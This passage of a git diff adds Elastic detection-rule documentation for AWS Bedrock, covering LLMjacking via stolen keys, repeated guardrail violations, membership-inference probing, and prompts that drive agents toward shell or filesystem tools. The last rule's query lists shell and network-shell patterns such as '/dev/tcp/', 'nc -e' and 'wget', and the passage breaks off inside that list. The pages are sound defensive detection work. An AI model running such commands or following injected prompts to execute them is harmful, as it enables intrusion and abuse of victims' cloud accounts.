+ gen_ai.response.error_code, + Esql.time_window_date_trunc + +// count number of denials by user/account/time window +| stats + Esql.ml_response_validation_error_count = count(*) + by + Esql.time_window_date_trunc, + user.id, + cloud.account.id + +// Filter for excessive errors +| where Esql.ml_response_validation_error_count > 3 + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-foundation-model-access-enabled-or-entitlement-granted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-foundation-model-access-enabled-or-entitlement-granted.asciidoc new file mode 100644 index 0000000000..50f8240e34 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-foundation-model-access-enabled-or-entitlement-granted.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-foundation-model-access-enabled-or-entitlement-granted]] +=== AWS Bedrock Foundation Model Access Enabled or Entitlement Granted + +Identifies when access to an Amazon Bedrock foundation model is enabled at the account level, either by granting a foundation-model entitlement, submitting a use case for model access, or creating a foundation-model agreement (accepting the EULA). These account-level "model access" actions unlock a foundation model so that it can subsequently be invoked. Adversaries or a compromised principal may enable model access to abuse expensive models (LLMjacking), to establish a durable ability to invoke models within the account, or to bypass organizational controls. This activity is distinct from changes to a resource-based model invocation policy and is identified by the Bedrock control-plane API calls that grant model entitlements and agreements. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_PutUseCaseForModelAccess.html +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_CreateFoundationModelAgreement.html + +*Tags*: + +* Domain: Cloud +* Domain: GenAI +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Service: AWS Bedrock +* Mitre Atlas: AML.T0012 +* Mitre Atlas: AML.T0040 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating AWS Bedrock Foundation Model Access Enabled or Entitlement Granted* + + +Amazon Bedrock exposes account-level "model access" controls that determine which foundation models a principal is allowed to invoke. Granting an entitlement (`PutFoundationModelEntitlement`), submitting a use case for model access (`PutUseCaseForModelAccess`), or creating a foundation-model agreement (`CreateFoundationModelAgreement`, which accepts the model EULA) all unlock a model for subsequent `InvokeModel`/`InvokeModelWithResponseStream` calls. + +Adversaries who gain access to a privileged principal may enable model access to abuse high-cost models (LLMjacking), to maintain a durable capability to invoke models, or to circumvent organizational guardrails on which models are usable. + +This rule detects successful Bedrock control-plane API calls that enable model access at the account level. It is distinct from changes to a resource-based model invocation policy. + + +*Possible investigation steps* + + +- Identify the principal by reviewing `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`, and determine whether the identity is a human user, role, or service account that is expected to manage Bedrock model access. +- Review `event.action` to determine which model-access action was taken, and examine `aws.cloudtrail.request_parameters` to identify the specific foundation model, model ID, or use case involved. +- Verify the `source.ip` and `user_agent.original` of the request. Console-driven onboarding differs from programmatic SDK/CLI calls; an unexpected IP, geolocation, or automation user agent is suspicious. +- Confirm the `cloud.account.id` and `cloud.region` are expected for Bedrock usage in your environment, and whether model access is normally enabled in that region. +- Correlate with recent activity from the same principal, such as new access key creation, IAM permission changes, or other Bedrock control-plane calls, to determine whether this is part of a broader compromise. +- Check for subsequent `InvokeModel`/`InvokeModelWithResponseStream` activity from the same principal or account, especially high-volume invocations that could indicate model abuse (LLMjacking). +- Contact the resource owner to confirm whether enabling this model access was planned and authorized. + + +*False positive analysis* + + +- Legitimate administrators and ML teams enable model access and accept EULAs during account onboarding or when adopting new foundation models. Validate the change against change-management records and known provisioning workflows. +- Infrastructure-as-code or automation pipelines may enable model access programmatically; confirm the automation identity and source are expected. + + +*Response and remediation* + + +- If the activity is unauthorized, revoke the model entitlement/agreement and remove model access for the affected model. +- Disable or rotate the credentials (`aws.cloudtrail.user_identity.access_key_id`) associated with the principal that performed the action. +- Review and constrain IAM permissions so that only approved principals can call Bedrock model-access APIs. +- Investigate for any model invocations that occurred after access was granted and assess potential cost impact and data exposure. +- Implement preventative guardrails (SCPs, IAM conditions) to limit which principals and models can be enabled, and add monitoring for Bedrock control-plane changes. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "bedrock.amazonaws.com" + and event.action: ( + "PutFoundationModelEntitlement" or + "PutUseCaseForModelAccess" or + "CreateFoundationModelAgreement" + ) + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-foundation-model-enumeration-followed-by-invocation-via-long-term-key.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-foundation-model-enumeration-followed-by-invocation-via-long-term-key.asciidoc new file mode 100644 index 0000000000..55c2a745a7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-foundation-model-enumeration-followed-by-invocation-via-long-term-key.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-foundation-model-enumeration-followed-by-invocation-via-long-term-key]] +=== AWS Bedrock Foundation Model Enumeration Followed by Invocation via Long-Term Key + +Detects when an AWS principal using long-term IAM user credentials (AKIA* access key) enumerates available Bedrock foundation models and then invokes a model within the same 15-minute window. Most legitimate Bedrock workloads run under IAM roles with short-lived credentials; the combination of model enumeration followed by direct model invocation from a long-term IAM user key is unusual in production environments and consistent with an adversary using stolen credentials to discover and exploit available AI model capabilities. This pattern is associated with LLMjacking attacks where threat actors abuse compromised cloud credentials to run high-volume or high-cost model inference at the account owner's expense. + +*Rule type*: eql + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_ListFoundationModels.html +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_runtime_InvokeModel.html + +*Tags*: + +* Domain: Cloud +* Domain: GenAI +* Data Source: Amazon Web Services +* Data Source: AWS +* Data Source: AWS CloudTrail +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Discovery +* Tactic: Initial Access +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Threat: LLMjacking +* Rule Type: Event Correlation (EQL) +* Platform: AWS +* Service: AWS Bedrock +* Mitre Atlas: AML.T0007 +* Mitre Atlas: AML.T0040 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Foundation Model Enumeration Followed by Invocation via Long-Term Key* + + +This rule fires when the same long-term IAM user access key (AKIA*) calls `ListFoundationModels` and then +invokes a model within 15 minutes. This sequence — enumerate available models, then immediately use one — is +consistent with LLMjacking: an adversary using stolen IAM user credentials to discover and abuse available +AI model capabilities at the account owner's expense. + +Long-term access keys (`AKIA*` prefix) belong to IAM users, not roles. Legitimate Bedrock workloads in +production almost always run under IAM roles with short-lived credentials. A long-term key performing both +model discovery and invocation is unusual and warrants investigation. + + +*Possible investigation steps* + + +- **Identify the key and owner**: Review `aws.cloudtrail.user_identity.arn` and + `aws.cloudtrail.user_identity.access_key_id`. Determine who owns the key and whether it is authorized for + Bedrock usage. +- **Check for credential exposure**: Search for the access key in source code, CI/CD logs, and secret scanning + alerts. A key used from an unexpected source IP is a strong indicator of compromise. +- **Examine the invocation**: Review `aws.cloudtrail.request_parameters` on the `InvokeModel` event to identify + which model was invoked. Cross-reference with Bedrock invocation logs for prompt and response content. +- **Correlate source IP and user agent**: Confirm `source.ip` and `user_agent.original` match the key owner's + expected environment. Residential IPs, VPNs, or unexpected tools are suspicious. +- **Look for volume**: Check whether this is the first invocation or part of a burst of `InvokeModel` calls. + High-volume invocations following enumeration are a strong LLMjacking signal. + + +*False positive analysis* + + +- **Developer testing**: Engineers using long-term IAM user keys for local Bedrock development may trigger this + rule when they first explore available models. Validate against a known developer identity and source IP. + Encourage migration to IAM roles for all Bedrock workloads. + + +*Response and remediation* + + +- Immediately disable or rotate the access key if compromise is suspected. +- Review all Bedrock invocations made by the key before and after this event. +- Check whether the same key accessed other AWS services (S3, EC2, Secrets Manager). +- Enforce IAM roles for all Bedrock workloads and restrict long-term key usage via SCP. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by aws.cloudtrail.user_identity.access_key_id with maxspan=15m + [any where data_stream.dataset == "aws.cloudtrail" + and event.provider == "bedrock.amazonaws.com" + and event.action == "ListFoundationModels" + and event.outcome == "success" + and aws.cloudtrail.user_identity.access_key_id like "AKIA*"] + [any where data_stream.dataset == "aws.cloudtrail" + and event.provider == "bedrock.amazonaws.com" + and event.action : ("InvokeModel", "InvokeModelWithResponseStream", "Converse", "ConverseStream") + and event.outcome == "success"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-guardrails-detected-multiple-policy-violations-within-a-single-blocked-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-guardrails-detected-multiple-policy-violations-within-a-single-blocked-request.asciidoc new file mode 100644 index 0000000000..96c103742e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-guardrails-detected-multiple-policy-violations-within-a-single-blocked-request.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-guardrails-detected-multiple-policy-violations-within-a-single-blocked-request]] +=== AWS Bedrock Guardrails Detected Multiple Policy Violations Within a Single Blocked Request + +Identifies multiple violations of AWS Bedrock guardrails within a single request, resulting in a block action, increasing the likelihood of malicious intent. Multiple violations implies that a user may be intentionally attempting to cirvumvent security controls, access sensitive information, or possibly exploit a vulnerability in the system. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html +* https://atlas.mitre.org/techniques/AML.T0051 +* https://atlas.mitre.org/techniques/AML.T0054 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: GenAI +* Data Source: AWS Bedrock +* Data Source: AWS S3 +* Resources: Investigation Guide +* Use Case: Policy Violation +* Noise: Low +* Performance: Fast +* Threat: Unauthorized AI Usage +* Rule Type: ES|QL +* Platform: AWS +* Domain: Cloud +* Service: AWS S3 +* Service: AWS Bedrock +* Mitre Atlas: AML.T0051 +* Mitre Atlas: AML.T0054 + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Guardrails Detected Multiple Policy Violations Within a Single Blocked Request* + + +Amazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications. + +It enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices. + +Through Guardrail, organizations can define "denied topics" to prevent the model from generating content on specific, undesired subjects, +and they can establish thresholds for harmful content categories, including hate speech, violence, or offensive language. + + +*Possible investigation steps* + + +- Identify the user account and the user request that caused multiple policy violations and whether it should perform this kind of action. +- Investigate the user activity that might indicate a potential brute force attack. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Examine the account's prompts and responses in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours. + + +*False positive analysis* + + +- Verify the user account that caused multiple policy violations, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services. + - Identify any regulatory or legal ramifications related to this activity. +- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation: + +https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* + +// Expand multi-value policy action field +| mv_expand gen_ai.policy.action + +// Filter for policy-blocked requests +| where gen_ai.policy.action == "BLOCKED" + +// count number of policy matches per request (multi-valued) +| eval Esql.ml_policy_violations_mv_count = mv_count(gen_ai.policy.name) + +// Filter for requests with more than one policy match +| where Esql.ml_policy_violations_mv_count > 1 + +// keep relevant fields +| keep + gen_ai.policy.action, + Esql.ml_policy_violations_mv_count, + user.id, + gen_ai.request.model.id, + cloud.account.id + +// Aggregate requests with multiple violations +| stats + Esql.ml_policy_violations_total_unique_requests_count = count(*) + by + Esql.ml_policy_violations_mv_count, + user.id, + gen_ai.request.model.id, + cloud.account.id + +// sort by number of unique requests +| sort Esql.ml_policy_violations_total_unique_requests_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-guardrails-detected-multiple-violations-by-a-single-user-over-a-session.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-guardrails-detected-multiple-violations-by-a-single-user-over-a-session.asciidoc new file mode 100644 index 0000000000..013bb31f4a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-guardrails-detected-multiple-violations-by-a-single-user-over-a-session.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-guardrails-detected-multiple-violations-by-a-single-user-over-a-session]] +=== AWS Bedrock Guardrails Detected Multiple Violations by a Single User Over a Session + +Identifies multiple violations of AWS Bedrock guardrails by the same user in the same account over a session. Multiple violations implies that a user may be intentionally attempting to cirvumvent security controls, access sensitive information, or possibly exploit a vulnerability in the system. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html +* https://atlas.mitre.org/techniques/AML.T0051 +* https://atlas.mitre.org/techniques/AML.T0054 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: GenAI +* Data Source: AWS Bedrock +* Data Source: AWS S3 +* Resources: Investigation Guide +* Use Case: Policy Violation +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: ES|QL +* Platform: AWS +* Domain: Cloud +* Service: AWS S3 +* Service: AWS Bedrock +* Mitre Atlas: AML.T0051 +* Mitre Atlas: AML.T0054 + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Guardrails Detected Multiple Violations by a Single User Over a Session* + + +Amazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications. + +It enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices. + +Through Guardrail, organizations can define "denied topics" to prevent the model from generating content on specific, undesired subjects, +and they can establish thresholds for harmful content categories, including hate speech, violence, or offensive language. + + +*Possible investigation steps* + + +- Identify the user account that caused multiple policy violations over a session and whether it should perform this kind of action. +- Investigate the user activity that might indicate a potential brute force attack. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Examine the account's prompts and responses in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours. + + +*False positive analysis* + + +- Verify the user account that caused multiple policy violations by a single user over session, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services. + - Identify any regulatory or legal ramifications related to this activity. +- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation: + +https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* + +// Filter for compliance violations detected +| where gen_ai.compliance.violation_detected + +// keep relevant ECS + model fields +| keep + user.id, + gen_ai.request.model.id, + cloud.account.id + +// count violations by user, model, and account +| stats + Esql.ml_violations_count = count(*) + by + user.id, + gen_ai.request.model.id, + cloud.account.id + +// Filter for repeated violations +| where Esql.ml_violations_count > 1 + +// sort descending by violation volume +| sort Esql.ml_violations_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-high-frequency-single-model-inference-api-probing.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-high-frequency-single-model-inference-api-probing.asciidoc new file mode 100644 index 0000000000..b7d667fffb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-high-frequency-single-model-inference-api-probing.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-high-frequency-single-model-inference-api-probing]] +=== AWS Bedrock High-Frequency Single-Model Inference API Probing + +Identifies an AWS principal performing a high volume of Amazon Bedrock inference API calls against a single model within a short window. Membership inference attacks require hundreds to thousands of statistically similar queries whose prompts and responses are intentionally content-benign, making guardrail- and content-based rules ineffective. This rule detects the high-frequency single-model probing pattern that precedes membership inference and related exfiltration via the inference API. It is a behavioral / volumetric precursor: it does not observe model confidence scores and a fixed call-count threshold only catches the loud variant, so paced, low-and-slow, or credential-distributed probing will evade it. Definitive membership inference detection requires ML anomaly analysis over per-entity inference-rate and response-distribution baselines. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://atlas.mitre.org/techniques/AML.T0024 +* https://atlas.mitre.org/techniques/AML.T0024.000 +* https://docs.aws.amazon.com/bedrock/latest/userguide/logging-using-cloudtrail.html +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: Cloud +* Domain: GenAI +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Use Case: Threat Detection +* Tactic: Exfiltration +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Threat: LLMjacking +* Rule Type: ES|QL +* Platform: AWS +* Service: AWS Bedrock +* Mitre Atlas: AML.T0024 +* Mitre Atlas: AML.T0024.000 + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock High-Frequency Single-Model Inference API Probing* + + +Membership inference compares many samples against a model to infer whether specific records were present in training data. Because prompts and responses often appear benign, the actionable signal is frequently statistical: unusually high inference rates concentrated on one model from a single principal. AWS CloudTrail records the core Bedrock runtime operations (`InvokeModel`, `InvokeModelWithResponseStream`, `Converse`, `ConverseStream`) as management events, which are logged by default, so this probing phase is observable at the API layer even when Bedrock model invocation logging is disabled. CloudTrail does not capture the prompt body, so this rule is purely volumetric. + +This rule is tuned to the loud case. Treat it as corroborating signal alongside other Bedrock alerts, not as conclusive membership inference detection. + + +*Possible investigation steps* + + +- Identify the principal in `aws.cloudtrail.user_identity.arn` and the targeted model in the extracted `Esql.model_id`. +- Determine whether the call volume exceeds the principal's historical baseline for the same model. +- Review companion Bedrock invocation logs, if enabled, for short prompts, repeated inputs, or low-variance responses that may indicate membership testing. +- Inspect `Esql.source_ip_values`, `Esql.user_agent_original_values`, and recent IAM activity for signs of compromised credentials or unexpected automation. +- Correlate with bulk output-extraction or guardrail alerts that may indicate a broader inference abuse campaign. + + +*Response and remediation* + + +- Apply Bedrock service quotas and IAM least privilege for inference APIs while investigating. +- Enable model invocation logging for content-level review if not already configured. +- If abuse is confirmed, rotate access keys or disable the compromised principal. + + +==== Setup + + + +*Setup* + + +This rule requires AWS CloudTrail management events for Amazon Bedrock and ingestion via the AWS +integration (`aws.cloudtrail` data stream). The core Bedrock runtime operations are logged as management +events by default; no Bedrock model invocation logging is required. + + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-aws.cloudtrail-* +| WHERE event.provider == "bedrock.amazonaws.com" + AND event.action IN ( + "InvokeModel", + "Converse", + "ConverseStream", + "InvokeModelWithResponseStream" + ) + AND event.outcome == "success" + AND aws.cloudtrail.user_identity.arn IS NOT NULL + AND aws.cloudtrail.request_parameters IS NOT NULL +| GROK aws.cloudtrail.request_parameters """modelId=(?[^,}\]]+)""" +| WHERE Esql.model_id IS NOT NULL +| STATS + Esql.inference_call_count = COUNT(*), + Esql.timestamp_min = MIN(@timestamp), + Esql.timestamp_max = MAX(@timestamp), + Esql.event_ingested_min = MIN(event.ingested), + Esql.event_ingested_max = MAX(event.ingested), + Esql.event_action_values = VALUES(event.action), + Esql.source_ip_values = VALUES(source.ip), + Esql.source_as_organization_name_values = + VALUES(source.as.organization.name), + Esql.source_geo_country_iso_code_values = + VALUES(source.geo.country_iso_code), + Esql.source_geo_city_name_values = + VALUES(source.geo.city_name), + Esql.user_name_values = VALUES(user.name), + Esql.user_agent_original_values = VALUES(user_agent.original), + Esql.aws_cloudtrail_user_identity_type_values = + VALUES(aws.cloudtrail.user_identity.type), + Esql.aws_cloudtrail_user_identity_access_key_id_values = + VALUES(aws.cloudtrail.user_identity.access_key_id), + Esql.session_issuer_arn_values = + VALUES(aws.cloudtrail.user_identity.session_context.session_issuer.arn), + Esql.cloud_region_values = VALUES(cloud.region), + Esql.data_stream_namespace_values = VALUES(data_stream.namespace) + BY aws.cloudtrail.user_identity.arn, + cloud.account.id, + Esql.model_id +| WHERE Esql.inference_call_count >= 500 +| KEEP + aws.cloudtrail.user_identity.arn, + cloud.account.id, + Esql.* +| sort Esql.inference_call_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-high-risk-filesystem-or-execution-tool-invocation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-high-risk-filesystem-or-execution-tool-invocation.asciidoc new file mode 100644 index 0000000000..cf393e73fa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-high-risk-filesystem-or-execution-tool-invocation.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-high-risk-filesystem-or-execution-tool-invocation]] +=== AWS Bedrock High Risk Filesystem or Execution Tool Invocation + +Detects when a Bedrock model is prompted to invoke high-risk tools associated with shell execution, filesystem operations, or process spawning. Adversaries may use compromised AI agent pipelines or manipulated prompts to instruct the model to execute arbitrary system commands, read or write sensitive files, or spawn subprocesses — extending the blast radius of a credential compromise or prompt injection attack. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/agents-action-groups.html +* https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails.html +* https://owasp.org/www-project-top-10-for-large-language-model-applications/ + +*Tags*: + +* Domain: Cloud +* Domain: GenAI +* Data Source: AWS Bedrock +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: ES|QL +* Platform: AWS +* Service: AWS Bedrock +* Mitre Atlas: AML.T0053 + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock High Risk Filesystem or Execution Tool Invocation* + + +This rule detects Bedrock model invocations where the prompt contains patterns associated with shell execution, filesystem access, or process spawning. These patterns may indicate a prompt injection attack, a compromised AI agent pipeline, or an insider attempting to use a Bedrock-backed application to execute unauthorized system operations. + + +*Possible investigation steps* + + +- Review `gen_ai.prompt` to identify the specific tool invocation pattern that triggered the rule and determine whether it represents a legitimate tool call or a malicious instruction. +- Identify the user (`user.id`) and determine whether they are expected to interact with tools that perform filesystem or shell operations. +- Review the model ID (`gen_ai.request.model.id`) and the application context to understand whether shell or filesystem tools are part of the intended agent architecture. +- Correlate with other Bedrock invocation events from the same user in the preceding hour to assess whether this is an isolated event or part of a pattern. +- If the application uses Bedrock Agents, review the agent's configured action groups and Lambda functions to determine whether the tool invocation could have resulted in actual execution. +- Check for downstream evidence of execution: CloudTrail Lambda invocation events, SSM RunCommand, or EC2 activity correlated with the same time window. + + +*False positive analysis* + + +- AI coding assistants and developer tools built on Bedrock may legitimately reference shell commands or file operations in their prompt templates. +- Security tooling that uses Bedrock to analyze shell scripts or code may produce prompts containing these patterns. + + +*Response and remediation* + + +- If a prompt injection is confirmed, identify the injection source and remediate the input validation gap in the application layer. +- Review and restrict the tools available to the Bedrock Agent to the minimum required for its function. +- Apply Bedrock Guardrails to block or flag prompts containing high-risk tool invocation patterns. +- If credentials were compromised, rotate them immediately and audit all Bedrock and downstream API activity. + + +==== Setup + + +The AWS Bedrock integration must be enabled with model invocation logging configured to capture prompt +and completion content. Ensure `logs-aws_bedrock.invocation-*` is ingested into Elasticsearch. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* metadata _id, _version, _index + +| eval Esql.lowercase_prompt = TO_LOWER(gen_ai.prompt) + +| where + Esql.lowercase_prompt like "*/bin/sh*" or + Esql.lowercase_prompt like "*/bin/bash*" or + Esql.lowercase_prompt like "*sh -c*" or + Esql.lowercase_prompt like "*cmd.exe*" or + Esql.lowercase_prompt like "*powershell*" or + Esql.lowercase_prompt like "*exec(*" or + Esql.lowercase_prompt like "*os.system*" or + Esql.lowercase_prompt like "*subprocess*" or + Esql.lowercase_prompt like "*python -c*" or + Esql.lowercase_prompt like "*python3 -c*" or + Esql.lowercase_prompt like "*curl *" or + Esql.lowercase_prompt like "*wget *" or + Esql.lowercase_prompt like "*/dev/tcp/*" or + Esql.lowercase_prompt like "*nc -e*" or + Esql.lowercase_prompt like "*ncat 